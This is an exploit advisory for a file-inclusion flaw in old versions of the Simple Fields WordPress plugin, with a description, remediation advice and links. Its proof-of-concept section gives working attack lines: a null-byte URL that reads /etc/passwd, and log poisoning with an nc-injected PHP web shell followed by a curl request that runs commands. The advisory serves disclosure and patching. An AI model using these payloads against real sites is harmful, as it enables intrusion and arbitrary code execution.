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# Exploit Title: Simple Fields 0.2 - 0.3.5 LFI/RFI/RCE # Date: 2018-04-08 # Exploit Author: Graeme Robinson # Contact: @Grasec # Vendor Homepage: http://simple-fields.com # Software Link: https://downloads.wordpress.org/plugin/simple-fields.0.3.5.zip # Version: 0.2 - 0.3.5 # Tested on: Ubuntu 16.04.4 + PHP 5.3.0 # Category: webapps 1. Description Versions 0.2 to 0.3.5 of the Simple Fields WordPress plugin are vulnerable to local file inclusion if running on PHP <5.3.4. This can even lead to remote code execution, for example by injecting php code into the apache logs or if allow_url_include is turned on in php.ini. PHP <5.3.4 is required because the exploit relies on the ability to inject a null byte to terminate a string before the script expects it to be and this was fixed in PHP 5.3.4 The vulnerability was fixed (commented out) in version 0.3.6 on 2011-02-03. Simple Fields is no longer actively developed, since 2016-02-27 (http://simple-fields.com/2016/bye-bye-simple-fields/) The vulnerable line of code in simple_fields.php is: require( $_GET["wp_abspath"] . './wp-blog-header.php' ); 2. Proof of concept LFI: http://host/wordpress/wp-content/plugins/simple-fields/simple_fields.php?wp_abspath=/etc/passwd%00 RCE: $ echo "<?system(\$_GET['cmd'])?>"|nc host 80 $ curl "http://host/wordpress/wp-content/plugins/simple-fields/simple_fields.php?wp_abspath=../../../../../logs/access_log%00&cmd=id" 3. Solutions: * Upgrade PHP to 5.3.4+ * Update Simple Fields to 0.3.6+ * Stop using Simple Fields because it is no longer supported 4. Relevant Links: * http://simple-fields.com * https://wordpress.org/plugins/simple-fields/ * https://downloads.wordpress.org/plugin/simple-fields.0.3.5.zip * https://github.com/bonny/WordPress-Simple-Fields |
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